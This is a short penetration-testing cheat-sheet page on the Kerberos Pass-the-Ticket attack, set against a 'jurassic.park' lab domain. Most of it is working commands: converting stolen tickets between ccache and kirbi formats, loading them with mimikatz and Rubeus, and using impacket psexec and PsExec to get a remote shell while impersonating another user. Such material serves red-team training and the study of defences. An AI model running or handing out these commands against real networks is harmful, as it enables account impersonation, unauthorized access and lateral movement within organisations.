Pass the Ticket

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Pass The Ticket (PTT)

In the Pass The Ticket (PTT) attack method, attackers steal a user's authentication ticket instead of their password or hash values. This stolen ticket is then used to impersonate the user, gaining unauthorized access to resources and services within a network.

Read:

• Harvesting tickets from Windows
• Harvesting tickets from Linux

Swaping Linux and Windows tickets between platforms

The ticket_converter tool converts ticket formats using just the ticket itself and an output file.

python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi

python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

In Windows Kekeo can be used.

Pass The Ticket Attack

export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass

#Load the ticket in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi
klist #List tickets in cache to cehck that mimikatz has loaded the ticket
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd

References

• https://www.tarlogic.com/blog/how-to-attack-kerberos/